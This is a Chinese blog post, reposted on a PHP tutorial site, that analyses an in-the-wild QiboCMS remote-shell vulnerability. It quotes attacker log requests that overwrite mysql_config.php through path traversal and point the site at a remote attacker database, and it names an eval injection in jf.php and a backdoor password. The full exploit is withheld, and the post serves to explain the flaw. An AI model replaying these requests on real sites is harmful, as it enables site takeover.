网站地图    收藏   

主页 > 后端 > 网站安全 >

我是如何和大牛搞定齐博cmsgetshell 0-day的 - 网站安

来源:自学PHP网    时间:2015-04-17 10:16 作者: 阅读:

[导读] Blog:http: fuck 0day5 com、http: www fuckgcd net当天晚上,我和妹子决裂了,是的,决裂了,正在我伤心之时,小伙伴告诉我,齐博cms出问题了,才发临时补丁,然后附上了连接http: bbs qibosoft...

Blog:http://fuck.0day5.com、http://www.fuckgcd.net

当天晚上,我和妹子决裂了,是的,决裂了,正在我伤心之时,小伙伴告诉我,齐博cms出问题了,才发临时补丁,然后附上了连接http://bbs.qibosoft.com/read-forum-tid-419640.htm

看到:

1

2

哟,说明已经被搞了嘛,然后还有个站长贴出了c.php的代码

3

解密后看到

4

密码为FENG

 

绝逼是有黑阔在批量这个漏洞了,通过百度去采集一下do/c.php这个

5

然后咱们根据这个读取一下日志分析分析

在十月一号19点5分生成的日志如下:

/do/fujsarticle.php?type=like&FileName=../data/mysql_config.php&submit=fuck HTTP/1.1″ 200 26 “-” “-”

/do/jf.php?dbuser=getshell&dbhost=xxx.xxx.xxx.xxx&dbpw=shellpwd&dbname=getshell&pre=qb_&dbcharset=gbk&submit=getshell HTTP/1.1″ 200 17985 “-” “-”

/do/c.php HTTP/1.1″ 200 – “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)”

下载源程序下来审计,首先找到/do/fujsarticle.php文件


$FileName=dirname(__FILE__)."/../cache/fujsarticle_cache/";
if($type=='like'){ //只有type=like时候才
$FileName.=floor($id/3000)."/";
}else{
unset($id);
}

 

在其中require_once(dirname(__FILE__).”/global.php”);

可以看到,由于加载了global.php文件,所以前面FileName的get变量再次extract了

所以FIleName可控~

然后看到/do/jf.php


$query = $db->query("SELECT * FROM {$pre}jfsort ORDER BY list");
while($rs = $db->fetch_array($query)){
$fnameDB[$rs[fid]]=$rs[name];
$query2 = $db->query("SELECT * FROM {$pre}jfabout WHERE fid='$rs[fid]' ORDER BY list");
while($rs2 = $db->fetch_array($query2)){
eval("\$rs2[title]=\"$rs2[title]\";");
eval("\$rs2[content]=\"$rs2[content]\";");
$jfDB[$rs[fid]][]=$rs2;
}
}

 

看到在fjabout里读取到的title和content都执行了

经过小伙伴们的提点,先使用fujsarticle.php对数据库配置文件data/mysql_config.php进行覆盖,然后再使用远程的数据库内的xx_fjabout内的内容生成了一句话

 

哈哈,思路就是这个,exp就不发了,因为shell上一个就会破坏数据库,拿一个shell死一个网站

 

漏洞证明如下(只写了个phpinfo)

6

在此,谢谢ztz,hellove,maple三位小伙伴的教导~~

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论